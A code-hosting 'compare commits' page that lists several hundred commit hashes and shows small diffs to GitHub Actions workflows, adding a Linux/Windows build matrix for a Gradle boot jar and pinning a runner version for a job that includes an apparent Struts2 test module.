Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8b66a83028 | ||
|
|
29b17728f3 | ||
|
|
1645c12b0a | ||
|
|
a034543689 | ||
|
|
ba53112010 | ||
|
|
a11b41d403 | ||
|
|
1643a97a92 | ||
|
|
8d65f0a0d9 | ||
|
|
0f86393c7d | ||
|
|
cff1c34940 | ||
|
|
6c133b252b | ||
|
|
757c3e6b41 | ||
|
|
0d20cf4254 | ||
|
|
58a89f8953 | ||
|
|
874bd29527 | ||
|
|
956c7c086d | ||
|
|
fddfc19ec5 | ||
|
|
0fccf65d1b | ||
|
|
282847d0a8 | ||
|
|
a044e3777b | ||
|
|
4c8343c86f | ||
|
|
58041fa0b5 | ||
|
|
d1782309c1 | ||
|
|
841909fa64 | ||
|
|
61d64885e8 | ||
|
|
156db39643 | ||
|
|
bb317eadfd | ||
|
|
2d57a702d7 | ||
|
|
76a4fe0bc0 | ||
|
|
867c2004bc | ||
|
|
d3cf8c4560 | ||
|
|
a84e242d42 | ||
|
|
8c14631478 | ||
|
|
ca8f303444 | ||
|
|
0279d6cc0b | ||
|
|
e9d60152b1 | ||
|
|
c0c78c4372 | ||
|
|
686be6b59a | ||
|
|
cc706ec3af | ||
|
|
4ec1f06362 | ||
|
|
54be0712d5 | ||
|
|
548990b7cc | ||
|
|
0296705a87 | ||
|
|
5b0305be37 | ||
|
|
8a059d9b6f | ||
|
|
a60dc84356 | ||
|
|
5b5c225edb | ||
|
|
8458becfbc | ||
|
|
aea03800c7 | ||
|
|
ca304c600d | ||
|
|
33753844a7 | ||
|
|
9620076443 | ||
|
|
9edab88267 | ||
|
|
d0604a1b64 | ||
|
|
34f77c134a | ||
|
|
5bb6e42b3c | ||
|
|
2bcd00e9c4 | ||
|
|
258e87b00e | ||
|
|
61fdeba1b0 | ||
|
|
eedee34660 | ||
|
|
8edc865b69 | ||
|
|
d5390db369 | ||
|
|
e9dfd5085e | ||
|
|
c51b4e11dc | ||
|
|
726690ede1 | ||
|
|
29852ecf55 | ||
|
|
36085b3c93 | ||
|
|
729dd8d166 | ||
|
|
12f9dbe432 | ||
|
|
80f91f9d6f | ||
|
|
ee07687b4f | ||
|
|
9d5c5a1ddf | ||
|
|
86738e308d | ||
|
|
093d491219 | ||
|
|
86ef0aafcb | ||
|
|
afe22ca83f | ||
|
|
cfc8fac0b1 | ||
|
|
e828bb92b6 | ||
|
|
f170ca4514 | ||
|
|
4ae264a091 | ||
|
|
4db6739436 | ||
|
|
0c7de5bf7f | ||
|
|
62a48b8937 | ||
|
|
9cb35aed9e | ||
|
|
e9b9099d49 | ||
|
|
bab98f7995 | ||
|
|
9483e07e69 | ||
|
|
fea1c0d18e | ||
|
|
aa1c4b3d13 | ||
|
|
f86a9d8ee2 | ||
|
|
20ee99a82d | ||
|
|
579d9a74c0 | ||
|
|
a020ed587c | ||
|
|
c121d91781 | ||
|
|
6416d7b806 | ||
|
|
40c068a9e5 | ||
|
|
c4bf33bb13 | ||
|
|
7c0942947c | ||
|
|
2828a927ec | ||
|
|
5ffbbc40d8 | ||
|
|
71911fd4e3 | ||
|
|
717d887acc | ||
|
|
cbfa3ba3da | ||
|
|
cb99dcab6c | ||
|
|
986208304d | ||
|
|
28c12102c2 | ||
|
|
0a5cadf64a | ||
|
|
9127b4668c | ||
|
|
41e8bd7ba0 | ||
|
|
52ac025bfa | ||
|
|
638cb2f90c | ||
|
|
c27c580943 | ||
|
|
3c646b9104 | ||
|
|
1fb2942246 | ||
|
|
d51f7c1283 | ||
|
|
db85ec4bee | ||
|
|
0097984b33 | ||
|
|
c623897a80 | ||
|
|
9d3fc4d738 | ||
|
|
395ca3caa0 | ||
|
|
6582ab87c0 | ||
|
|
ffb8313811 | ||
|
|
37ed3b0dee | ||
|
|
ede4b122a9 | ||
|
|
eba4b82464 | ||
|
|
52f82d7979 | ||
|
|
d3727d7d3e | ||
|
|
1515011026 | ||
|
|
13cafb19a6 | ||
|
|
478b214a2c | ||
|
|
0ccd375fd7 | ||
|
|
14a1e0358e | ||
|
|
c71a6c5a79 | ||
|
|
9bfa58cbd4 | ||
|
|
6628a74daa | ||
|
|
dfa5a412ff | ||
|
|
e5707bd204 | ||
|
|
9328fa08cd | ||
|
|
2d6910895c | ||
|
|
fb080b3264 | ||
|
|
578271effb | ||
|
|
7c85af5007 | ||
|
|
3fdaa22ccd | ||
|
|
aa1d9bb69d | ||
|
|
e9f16ca32e | ||
|
|
95046169ed | ||
|
|
1db5c52307 | ||
|
|
056032cae7 | ||
|
|
f77c829f4e | ||
|
|
544706352a | ||
|
|
f1d42a9b3c | ||
|
|
b725ca3e67 | ||
|
|
2ac2c845de | ||
|
|
ccc6bd0c91 | ||
|
|
d9c1828a5c | ||
|
|
1e2069d869 | ||
|
|
45f6949940 | ||
|
|
d4e7a25255 | ||
|
|
c5cdb03a9f | ||
|
|
772a8b5cb0 | ||
|
|
cefd7147bf | ||
|
|
1bb42819b5 | ||
|
|
ba3900f366 | ||
|
|
92e8b83313 | ||
|
|
36236653bd | ||
|
|
30dd253565 | ||
|
|
ca123e2871 | ||
|
|
6da52b2387 | ||
|
|
ca1d567ce7 | ||
|
|
8b71ca9911 | ||
|
|
73b5bc7114 | ||
|
|
74447786f2 | ||
|
|
a241e2e28f | ||
|
|
4e8daa4662 | ||
|
|
bee0f6596f | ||
|
|
5a92bd9944 | ||
|
|
7c3a63902b | ||
|
|
5541159c98 | ||
|
|
827d8af2f1 | ||
|
|
f4a16e5d37 | ||
|
|
2fa3310bf8 | ||
|
|
47386571d8 | ||
|
|
7e7096f363 | ||
|
|
dc85bd27d6 | ||
|
|
75f26e5d38 | ||
|
|
c4b5b9f2c6 | ||
|
|
17a8f529a0 | ||
|
|
07b0de017d | ||
|
|
623d343096 | ||
|
|
5ee604f4a0 | ||
|
|
a022968965 | ||
|
|
cdb90b6cb1 | ||
|
|
fb5b39a4c6 | ||
|
|
3838d3d27a | ||
|
|
5ad7aec805 | ||
|
|
a93da6d0fc | ||
|
|
4862dd8d2a | ||
|
|
1ea0351ed0 | ||
|
|
519d54aea2 | ||
|
|
899f9dd1ab | ||
|
|
65d9a3c672 | ||
|
|
6a6e7e1ec7 | ||
|
|
2d47216a71 | ||
|
|
65513d9eaa | ||
|
|
44d087829d | ||
|
|
fe86bc04c1 | ||
|
|
5c27b8062d | ||
|
|
e261ec2bd3 | ||
|
|
3b179c10c0 | ||
|
|
0111d50616 | ||
|
|
4563a97ceb | ||
|
|
eb92c2c4ff | ||
|
|
7649e1612a | ||
|
|
aa5683a8d8 | ||
|
|
2620a30a4e | ||
|
|
761ec7a9e7 | ||
|
|
33944dfd32 | ||
|
|
dee1c4a5d0 | ||
|
|
a2de3a3808 | ||
|
|
af501ff5a8 | ||
|
|
5c08da5f01 | ||
|
|
6bdc435df0 | ||
|
|
059cae27c6 | ||
|
|
c200140a67 | ||
|
|
2196a4aefb | ||
|
|
c5a3bd464b | ||
|
|
f41a0a82b6 | ||
|
|
2675991711 | ||
|
|
726a5321db | ||
|
|
0c041ee1a9 | ||
|
|
378cf22eb2 | ||
|
|
d112a9abda | ||
|
|
7fdba6a810 | ||
|
|
b7ede0f745 | ||
|
|
b88332f2a3 | ||
|
|
ba8c5c1524 | ||
|
|
9713ac452e | ||
|
|
5915b9877b | ||
|
|
17c54cd919 | ||
|
|
9159de1781 | ||
|
|
4cd6d9fb21 | ||
|
|
e879002572 | ||
|
|
96503863f4 | ||
|
|
3c073b4445 | ||
|
|
b357e50303 | ||
|
|
fd6bd7b18c | ||
|
|
d7f154209d | ||
|
|
c87a68b557 | ||
|
|
f67d6ff79b | ||
|
|
a0965a95ef | ||
|
|
cb3914152f | ||
|
|
a5fb75b3f0 | ||
|
|
e986ae8241 | ||
|
|
8eea712f4d | ||
|
|
7b95367e4e | ||
|
|
e45b72f6fc | ||
|
|
a2f7fe9a8e | ||
|
|
be29e9dcc0 | ||
|
|
0626657991 | ||
|
|
477c99e0bc | ||
|
|
17dcb183c4 | ||
|
|
b08c33135d | ||
|
|
8c3fad5c2d | ||
|
|
02b2288a42 | ||
|
|
df47f2ed02 | ||
|
|
9b10f968dc | ||
|
|
74b3508985 | ||
|
|
4e505d6056 | ||
|
|
4a4bcdca81 | ||
|
|
ab1d9b2132 | ||
|
|
0dec83e529 | ||
|
|
8dc52e7501 | ||
|
|
34e117c462 | ||
|
|
4fb95374ad | ||
|
|
d7b7f0d23c | ||
|
|
6a0f1cf299 | ||
|
|
70ae4180f2 | ||
|
|
07c612ee44 | ||
|
|
46153de471 | ||
|
|
8cbc33066d | ||
|
|
1e615df9e0 | ||
|
|
a37949e8cc | ||
|
|
2333711a0f | ||
|
|
8b27536d80 | ||
|
|
0a46ebc21e | ||
|
|
23997ad5c9 | ||
|
|
696abcdfef | ||
|
|
6388b2b2bf | ||
|
|
44f18f7d21 | ||
|
|
77cd746154 | ||
|
|
948a6699fb | ||
|
|
033c4071cc | ||
|
|
0cdb94387b | ||
|
|
31f5c824db | ||
|
|
63310043e6 | ||
|
|
4ab08270d3 | ||
|
|
e1e5a96283 | ||
|
|
7ce71856d3 | ||
|
|
cf05f5f79e | ||
|
|
f342b924f5 | ||
|
|
866f203ac5 | ||
|
|
d4929f22f3 | ||
|
|
c2088f477a | ||
|
|
829b0e8be7 | ||
|
|
3a10568346 | ||
|
|
975f25534b | ||
|
|
cf3fa2b18f | ||
|
|
b2c614eea4 | ||
|
|
a513e44c96 | ||
|
|
6e021bef9f | ||
|
|
04e46e12ca | ||
|
|
13be57e66d | ||
|
|
6a4c5a1e96 | ||
|
|
b96276ee54 | ||
|
|
82cdbab634 | ||
|
|
4a6577012b | ||
|
|
346e518913 | ||
|
|
6f9ae38add | ||
|
|
d8851ba83e | ||
|
|
89ee25fd1a | ||
|
|
ec9aa97c83 | ||
|
|
22f365b3a0 | ||
|
|
52f235cbaf | ||
|
|
d33323cfda | ||
|
|
4decc08ddc | ||
|
|
38219261a3 | ||
|
|
b3fef201f7 | ||
|
|
642a84d711 | ||
|
|
c74856f3ee | ||
|
|
19b385478b | ||
|
|
ab1a214d28 | ||
|
|
db96872fa4 | ||
|
|
bb4bcb956c | ||
|
|
4eff36571c | ||
|
|
53849f17fe | ||
|
|
14dbbd9f9e | ||
|
|
60b36f926c | ||
|
|
a1fec396ba | ||
|
|
2f8ab27ee2 | ||
|
|
fbdc58390a | ||
|
|
288b6df8e4 | ||
|
|
1116486f37 | ||
|
|
c925954035 | ||
|
|
8c06216e96 | ||
|
|
64c71d6adb | ||
|
|
94b6b006b2 | ||
|
|
e4552dc804 | ||
|
|
57b5960350 | ||
|
|
4dbd22eae2 | ||
|
|
59f2ac5f37 | ||
|
|
5b48350fdc | ||
|
|
e4691a29f5 | ||
|
|
f74971530c | ||
|
|
a95cd07b22 | ||
|
|
d5aec65d9b | ||
|
|
0c7dadc4f4 | ||
|
|
6b33cfb0fe | ||
|
|
18d7cde49b | ||
|
|
ac34d44abd | ||
|
|
b7b1f2b60c | ||
|
|
1c1cc9bb9f | ||
|
|
2d6b45bf0c | ||
|
|
95cfc94276 | ||
|
|
d1dec18110 | ||
|
|
36ee7212f3 | ||
|
|
2852ab03d3 | ||
|
|
a655968fb3 | ||
|
|
081efc1633 | ||
|
|
83f9200c89 | ||
|
|
82f955e419 | ||
|
|
db5b8d328c | ||
|
|
532b5af52c | ||
|
|
147a9b6c27 | ||
|
|
0452c36145 | ||
|
|
d736aeb7a7 | ||
|
|
9927e6b7fb | ||
|
|
7ea62f3961 | ||
|
|
4e1461b83d | ||
|
|
65fe194c4a | ||
|
|
921928f21c | ||
|
|
dfd91aecc6 | ||
|
|
0f45c43e71 | ||
|
|
7b2329de45 | ||
|
|
dba1b68c23 | ||
|
|
558e386ede | ||
|
|
f9c1ac9535 | ||
|
|
ba690268e7 | ||
|
|
df6125c046 | ||
|
|
55e2b2f5a6 | ||
|
|
bc9998c682 | ||
|
|
c094009b5c | ||
|
|
e7666844df | ||
|
|
f2c4d16278 | ||
|
|
be3ec77e11 | ||
|
|
50707e1fb9 | ||
|
|
34198a5c90 | ||
|
|
88732d9a81 | ||
|
|
d115656a0c | ||
|
|
2beeb709b5 | ||
|
|
6b670ffec4 | ||
|
|
ebd1bebf2f | ||
|
|
be63177268 | ||
|
|
77b4ffaf36 | ||
|
|
bbca89c8cf | ||
|
|
483bebc2fc | ||
|
|
d669a728c4 | ||
|
|
d2f2809119 | ||
|
|
d4df2f6ed7 | ||
|
|
f349586e09 | ||
|
|
cb39b9f26b | ||
|
|
fc3ee3e33f | ||
|
|
7bbe433ecc | ||
|
|
4c2cd4e409 | ||
|
|
0fe5ffe993 | ||
|
|
730782ed9a | ||
|
|
0dd339fa2a | ||
|
|
eebc422503 | ||
|
|
bd55fce38c | ||
|
|
09f3258dd6 | ||
|
|
c0c547a738 | ||
|
|
de2ff819b6 | ||
|
|
b52d7f4a83 | ||
|
|
8b9360905c | ||
|
|
5c5a0805e9 | ||
|
|
b304bae628 | ||
|
|
d52f4726aa | ||
|
|
838bfa0e8a | ||
|
|
f289b0a3a5 | ||
|
|
2c16361da9 | ||
|
|
d517abdea5 | ||
|
|
1cdb231a95 | ||
|
|
e231c480da | ||
|
|
832124a368 | ||
|
|
ceb19d2dae | ||
|
|
b341082f2b | ||
|
|
086ea3bf2e | ||
|
|
831e3d34d5 | ||
|
|
7e77f02379 | ||
|
|
6933163575 | ||
|
|
a883c9914e | ||
|
|
9fb653b6f8 | ||
|
|
ba9424c97e | ||
|
|
7e27d71f52 | ||
|
|
3e3e35cf9f | ||
|
|
8b19f1aba3 | ||
|
|
75979242fb | ||
|
|
d69d8b7635 | ||
|
|
6570b191ea | ||
|
|
3b1cd86655 | ||
|
|
aee8dbe8e0 | ||
|
|
d8079e5d0f | ||
|
|
a5a5780eac | ||
|
|
e005d30362 | ||
|
|
3f2749a05d | ||
|
|
02412f8681 | ||
|
|
2441e38bee | ||
|
|
60a3dd9da1 | ||
|
|
0214a6f814 | ||
|
|
c27be9a8a5 | ||
|
|
5218526279 | ||
|
|
a9e197828e | ||
|
|
08d187500c | ||
|
|
c5f5b46daf | ||
|
|
7ea16b924f | ||
|
|
bc6702405b | ||
|
|
2b98280676 | ||
|
|
1db4142d48 | ||
|
|
a8330d6af3 | ||
|
|
7254ba7905 | ||
|
|
b25fd4779a | ||
|
|
d5fbff14d5 | ||
|
|
78ba0da3a3 | ||
|
|
27227f1622 | ||
|
|
272f9f6c49 | ||
|
|
accee05504 | ||
|
|
fe8e77440d | ||
|
|
318e30a61d | ||
|
|
7572bb8018 | ||
|
|
79397c191a | ||
|
|
6a08b9220a | ||
|
|
b003bb683b | ||
|
|
e05d8ac106 | ||
|
|
0f798b367f | ||
|
|
fa206e8acc | ||
|
|
cd231c5af7 | ||
|
|
075053c38b | ||
|
|
8d9f906dcc | ||
|
|
0f87083048 | ||
|
|
94432d9c14 | ||
|
|
6a69bbbda4 | ||
|
|
cb77ca44b2 | ||
|
|
d4629f191e | ||
|
|
d54bd801ab | ||
|
|
0cb8dad52a | ||
|
|
d57e691e1f | ||
|
|
e3a59e9f21 | ||
|
|
3d2f65a808 | ||
|
|
4ee5d69b31 | ||
|
|
17fe4b4746 | ||
|
|
e8124c02cc | ||
|
|
52b8000bc7 | ||
|
|
ee3e257f9d | ||
|
|
045f6be5d7 | ||
|
|
af5001dee3 | ||
|
|
010db58a57 | ||
|
|
5965f372b0 | ||
|
|
61f199dbe1 | ||
|
|
9b63ee441a | ||
|
|
65414fcdd6 | ||
|
|
fe5f662fc2 | ||
|
|
ad4436702e | ||
|
|
78d390e975 | ||
|
|
29f5f4285f | ||
|
|
e4c29fdd0f | ||
|
|
b8da9d7468 | ||
|
|
60e755cc39 | ||
|
|
35bc198f48 | ||
|
|
bcc50cc2f5 | ||
|
|
5f48dd4c95 | ||
|
|
ab4154c90c | ||
|
|
775b4eec9a | ||
|
|
f6f2611b92 | ||
|
|
6292e6b8b2 | ||
|
|
6f332a97d8 | ||
|
|
b71e8ea4de | ||
|
|
d14203e78f | ||
|
|
839653bd01 | ||
|
|
badf60ebd4 | ||
|
|
6be832494d | ||
|
|
945956ca16 | ||
|
|
1f158158f6 | ||
|
|
a1bf202066 | ||
|
|
2f9ac42a3f | ||
|
|
bb6a4c4d06 | ||
|
|
d9c0a38460 | ||
|
|
2c0f52537e | ||
|
|
336dcb0fda | ||
|
|
787e5563b4 | ||
|
|
881587dccf | ||
|
|
e10673ab38 | ||
|
|
cf2b2af67e | ||
|
|
7927611c92 | ||
|
|
8aa1e1a773 | ||
|
|
9cd62a0620 | ||
|
|
d004ed1dbc | ||
|
|
bc103376d3 | ||
|
|
9bc73c8002 | ||
|
|
056cab6c19 | ||
|
|
a00871bcb2 | ||
|
|
d623477107 | ||
|
|
a99f1e8a6d | ||
|
|
e90efdc036 | ||
|
|
85828f7975 | ||
|
|
5b838adbe9 | ||
|
|
cc87efcddf | ||
|
|
5f43eae694 | ||
|
|
bad9f2f786 | ||
|
|
a6ba2d0a3a | ||
|
|
a861effd12 | ||
|
|
7e84cab7bc | ||
|
|
f1d797295c | ||
|
|
164d59c65a | ||
|
|
3274e8421d | ||
|
|
1980ae7072 | ||
|
|
3438d07f6d | ||
|
|
ebb9b35a17 | ||
|
|
d64a8b9e6b | ||
|
|
b35aafd77b | ||
|
|
2dd794faf1 | ||
|
|
4efc6a7562 | ||
|
|
258c42adc0 | ||
|
|
5084a0b850 | ||
|
|
f27b06fc0b | ||
|
|
87ba8403db | ||
|
|
185be332a5 | ||
|
|
ef6ca026f2 | ||
|
|
064c73b4e7 | ||
|
|
6cb42ed954 | ||
|
|
d92b052428 | ||
|
|
8c6a67dcc8 | ||
|
|
2db337d85c | ||
|
|
b1f963f1a3 | ||
|
|
ac9c0ec171 | ||
|
|
e1f23f52c4 | ||
|
|
0fe7a3d345 | ||
|
|
53999f3e71 | ||
|
|
42faa786cb | ||
|
|
a964ada4df | ||
|
|
f3ced55d8a | ||
|
|
4a7301c7f0 | ||
|
|
75b32773a4 | ||
|
|
d482707465 | ||
|
|
bad3815107 | ||
|
|
bfae5e10d3 | ||
|
|
328fee0286 | ||
|
|
41d2ea5c6d | ||
|
|
7d567beba9 | ||
|
|
8bb3158fe6 | ||
|
|
fd914c014a | ||
|
|
8299a23ba0 | ||
|
|
6ca61098df | ||
|
|
6810bea753 | ||
|
|
e10915784c | ||
|
|
2f256fc97e | ||
|
|
f38b72fb5f | ||
|
|
243dd20531 | ||
|
|
6a38aee2d9 | ||
|
|
9c53c599a3 | ||
|
|
b585c5ff0b | ||
|
|
10147b5cd2 | ||
|
|
368730bfd2 | ||
|
|
d02a2c245a | ||
|
|
7c1995fabd | ||
|
|
f961b2aafa | ||
|
|
3f6821181c | ||
|
|
abfa1af36d | ||
|
|
0bd7da4ffa | ||
|
|
142a9e2c47 | ||
|
|
98f44cad3b | ||
|
|
ce0159d8f4 | ||
|
|
dec415cdc1 | ||
|
|
b1f30ffeea | ||
|
|
ba7f86b92f | ||
|
|
35382695e0 | ||
|
|
4f0671dbe0 | ||
|
|
1db9cf2bc0 | ||
|
|
44fa46fbc1 | ||
|
|
65bef5ffb6 | ||
|
|
9ea8dad68b | ||
|
|
a446da4bb7 | ||
|
|
5b9b890fc8 | ||
|
|
164a27bafd | ||
|
|
1bd24e9b01 | ||
|
|
2f9e587e73 | ||
|
|
9093c2c7be | ||
|
|
2440a2fb2e | ||
|
|
b9c05453ef | ||
|
|
1f94ca41f6 | ||
|
|
dad1f83365 | ||
|
|
c808a52d4e | ||
|
|
410ee1eff7 | ||
|
|
6fcf159d1f | ||
|
|
ee400fa5d2 | ||
|
|
9b87180075 | ||
|
|
d6ceb1b422 | ||
|
|
0d2f6a26b7 | ||
|
|
ebfa661b66 | ||
|
|
4a505d928f | ||
|
|
55dffd2562 | ||
|
|
988d751129 | ||
|
|
ecbde7dbae | ||
|
|
ee118bd139 | ||
|
|
706f5ad37d | ||
|
|
8a3cd76b25 | ||
|
|
f9eb9dafa4 | ||
|
|
08ffa47531 | ||
|
|
51cda2b2ba | ||
|
|
aff74ad27e | ||
|
|
9154b1b46c | ||
|
|
f78c83d901 | ||
|
|
86032a7131 | ||
|
|
406d49b36e | ||
|
|
a3f835bc84 | ||
|
|
88a26e9ba0 | ||
|
|
70eef7faee | ||
|
|
216b967463 | ||
|
|
8c04e60c11 | ||
|
|
ee6490cf34 | ||
|
|
06b952b0ab | ||
|
|
3af7716dfe | ||
|
|
fc386c60e6 | ||
|
|
c622b1f4a8 | ||
|
|
e6fb68b0e7 | ||
|
|
b0c31ff7fd | ||
|
|
974cf3ccaa | ||
|
|
e1f4921a2e | ||
|
|
14a7a9bac6 | ||
|
|
1cd05fd89f | ||
|
|
1efbdfff6f | ||
|
|
c5b50ddf73 | ||
|
|
5afa5da5f3 | ||
|
|
1f272e1dc9 | ||
|
|
7aeeb6d6db | ||
|
|
09ee91fd34 | ||
|
|
eb05735dda | ||
|
|
6e8a1f7965 | ||
|
|
cf8b2793bf | ||
|
|
d6570007cc | ||
|
|
37733e0b98 | ||
|
|
9ce0e182ba | ||
|
|
4b391955e4 | ||
|
|
507061a258 | ||
|
|
ff40e5c3fb | ||
|
|
72b4effa35 | ||
|
|
0f47ce3d0a | ||
|
|
475fca0221 | ||
|
|
0b2eea91ab | ||
|
|
90f848d4f7 | ||
|
|
768fc76ac6 | ||
|
|
3d9534a402 | ||
|
|
514cc4ff30 | ||
|
|
7778ec3f5e | ||
|
|
6026eb9165 | ||
|
|
550ea678e5 | ||
|
|
ceacef5cf3 | ||
|
|
061b51b9b1 | ||
|
|
1c3948d9a9 | ||
|
|
a8728a6e33 | ||
|
|
dd5b7c0366 | ||
|
|
7e3bd95a2c | ||
|
|
692d16f9a4 | ||
|
|
8f7884ce48 | ||
|
|
fb421e48ee | ||
|
|
8e8b344bdd | ||
|
|
e99f2e13b4 | ||
|
|
50228c854d | ||
|
|
c0231c7fc4 | ||
|
|
8784c7556e | ||
|
|
c1d22394de | ||
|
|
30a71006b1 | ||
|
|
883a9d29ef | ||
|
|
4702806117 | ||
|
|
da182a8df5 | ||
|
|
ab0b6131f0 | ||
|
|
526d610ecc | ||
|
|
6c42417adf | ||
|
|
b995f301ab | ||
|
|
381ddcb5d6 | ||
|
|
d761b6f1fb | ||
|
|
73d2f80658 | ||
|
|
2aa8a1e0b1 | ||
|
|
4eea7b2347 | ||
|
|
013745b77c | ||
|
|
4e53d03d26 | ||
|
|
0de59c8211 | ||
|
|
d8285923ca | ||
|
|
3b9d6b2daa | ||
|
|
4caaf3a21f | ||
|
|
d9dc9af29a | ||
|
|
ba2b74af66 | ||
|
|
89472ceee1 | ||
|
|
78168c1b56 | ||
|
|
5ef8a40160 | ||
|
|
9bd893f087 | ||
|
|
b0e2e7469f | ||
|
|
b340b53357 | ||
|
|
1a4d57c58d | ||
|
|
72f1d7fa48 | ||
|
|
2d60b1e175 | ||
|
|
527d3ebaed | ||
|
|
14b9bcc00c | ||
|
|
29e9d2b32a | ||
|
|
bdefe3928c | ||
|
|
61b31f730f | ||
|
|
77e5371fa8 | ||
|
|
91181ffc55 | ||
|
|
0fea777294 | ||
|
|
b22f73c61f | ||
|
|
b374f3b384 | ||
|
|
3f1ea88854 | ||
|
|
277020145a | ||
|
|
01fd2ecb80 | ||
|
|
100b4e5d9b | ||
|
|
3f00189f8e | ||
|
|
debbbd5305 | ||
|
|
2e08e5fd22 | ||
|
|
4caeca44f8 | ||
|
|
6bba432491 | ||
|
|
fcaf0cae6b | ||
|
|
524b65b25b | ||
|
|
7ae2d76b19 | ||
|
|
10c8214631 | ||
|
|
aa7ecb1587 | ||
|
|
0e5b8efdeb | ||
|
|
87f2bd2840 | ||
|
|
cfb64ba91a | ||
|
|
14212c1344 | ||
|
|
a7522b4982 | ||
|
|
93e10425cd | ||
|
|
635e55350d | ||
|
|
b14d43ce70 | ||
|
|
4df3c2c7b9 | ||
|
|
631fd76879 | ||
|
|
ab1e1d124f | ||
|
|
75f99f281b | ||
|
|
3b0aeaa294 | ||
|
|
da4a5b234d | ||
|
|
d57fece0ca | ||
|
|
a63a33d5dd | ||
|
|
caf1cb4fb2 | ||
|
|
0972d714d7 | ||
|
|
58045d0bb3 | ||
|
|
dc7c3dc0ac | ||
|
|
40b1e0a7b5 | ||
|
|
1bdb2a581c | ||
|
|
9173695ab9 | ||
|
|
eba4381256 | ||
|
|
3dcf0c2b56 | ||
|
|
ab764cbdd0 | ||
|
|
895c3cbc4b | ||
|
|
a4e3e4f697 | ||
|
|
28a34cbf89 | ||
|
|
63207195a2 | ||
|
|
8a83ba1bf6 | ||
|
|
b52f44bc6a | ||
|
|
7ce0bf6446 | ||
|
|
51342c36ad | ||
|
|
8a709a1f23 | ||
|
|
6a5858ab2f | ||
|
|
1987142a48 | ||
|
|
800932118e | ||
|
|
acfa63c83b | ||
|
|
e1d851bcba | ||
|
|
d9a7bacde3 | ||
|
|
f2a8bfe299 | ||
|
|
9587d916bc | ||
|
|
becead8b71 | ||
|
|
149ce07dab | ||
|
|
9c4f48895a | ||
|
|
88e09ddbc1 | ||
|
|
f1bb363c37 | ||
|
|
3b4a35396d | ||
|
|
9374696515 | ||
|
|
1712608b0b | ||
|
|
c30a00146d | ||
|
|
af781e80a9 | ||
|
|
5e0b47956d | ||
|
|
60345851f5 | ||
|
|
d6101434ce | ||
|
|
3db5f3743a | ||
|
|
57a1f97963 | ||
|
|
feb4dbe39a | ||
|
|
5594e33ce9 | ||
|
|
1e93e289c8 | ||
|
|
77de947722 | ||
|
|
58fe9cf387 | ||
|
|
76f3ed4695 | ||
|
|
e28ddf9972 | ||
|
|
12519d4a0f | ||
|
|
742b63890a | ||
|
|
e058f00691 | ||
|
|
7d255a6b5e | ||
|
|
f7fc98b388 | ||
|
|
146f67c653 | ||
|
|
fe3a77774b | ||
|
|
c9cd7c1eed | ||
|
|
cde67580a9 | ||
|
|
ce2d3da47b | ||
|
|
1639ea1e93 | ||
|
|
a0a79a68f7 | ||
|
|
3af6c3fa8f | ||
|
|
cb501e07f6 | ||
|
|
a9ded0670e | ||
|
|
3a2e0392da | ||
|
|
f4f0d5608c | ||
|
|
b5a91fa4e6 | ||
|
|
b955ecd416 | ||
|
|
26d07f522e | ||
|
|
9a843b7613 | ||
|
|
d926832a21 | ||
|
|
a29bfbf7ba | ||
|
|
61f215d10c | ||
|
|
d247f63f88 | ||
|
|
4162197169 | ||
|
|
9864c3da32 | ||
|
|
bddeb4fbaf | ||
|
|
d6b0813584 | ||
|
|
96675c28b1 | ||
|
|
411fb39d91 | ||
|
|
33b1ac28bc | ||
|
|
8b8a44503e | ||
|
|
f6d0e273fe | ||
|
|
746353b5c9 | ||
|
|
e2340ff2d1 | ||
|
|
7b9beeb8bb | ||
|
|
2d6f523075 | ||
|
|
645ffbf51f | ||
|
|
7e86b19e04 | ||
|
|
454b48a1fa | ||
|
|
3b91197446 | ||
|
|
53a982fd54 | ||
|
|
aabb678dd3 | ||
|
|
b6ce6581a0 | ||
|
|
d0dcc8d56f | ||
|
|
272188a83d | ||
|
|
957566f847 | ||
|
|
4f1f4f2c1a | ||
|
|
eb994b7ad4 | ||
|
|
a06eb2f869 | ||
|
|
184bd1e9ad | ||
|
|
c192954cfa | ||
|
|
cc5a8e726a | ||
|
|
37a7683518 | ||
|
|
0961070822 | ||
|
|
8a437dbe03 | ||
|
|
a42b2bd38c | ||
|
|
d37b0a1929 | ||
|
|
2501e56a6e | ||
|
|
1b9c88e800 | ||
|
|
e891e9999f | ||
|
|
b31db5c1ac | ||
|
|
033bc2b9a5 | ||
|
|
9a1e31d660 | ||
|
|
c085607be8 | ||
|
|
3402d50369 | ||
|
|
d9922401bd |
@@ -12,7 +12,10 @@ on:
|
|||||||
jobs:
|
jobs:
|
||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
strategy:
|
||||||
|
matrix:
|
||||||
|
os: [ubuntu-latest, windows-latest]
|
||||||
|
runs-on: ${{ matrix.os }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -39,10 +42,16 @@ jobs:
|
|||||||
working-directory: web
|
working-directory: web
|
||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
- name: Build Boot with Gradle (Linux)
|
||||||
|
if: matrix.os == 'ubuntu-latest'
|
||||||
run: ./gradlew :boot:test :boot:bootjar
|
run: ./gradlew :boot:test :boot:bootjar
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Build Boot with Gradle (Windows)
|
||||||
|
if: matrix.os == 'windows-latest'
|
||||||
|
run: ./gradlew.bat :boot:test :boot:bootjar
|
||||||
|
|
||||||
|
- name: Upload Boot Jar (Linux)
|
||||||
|
if: matrix.os == 'ubuntu-latest'
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
|
|||||||
@@ -50,7 +50,7 @@ jobs:
|
|||||||
depend_tasks: ""
|
depend_tasks: ""
|
||||||
- middleware: "struct2"
|
- middleware: "struct2"
|
||||||
depend_tasks: ":vul:vul-struct2:war"
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-22.04
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
|
|||||||
@@ -44,7 +44,7 @@ jobs:
|
|||||||
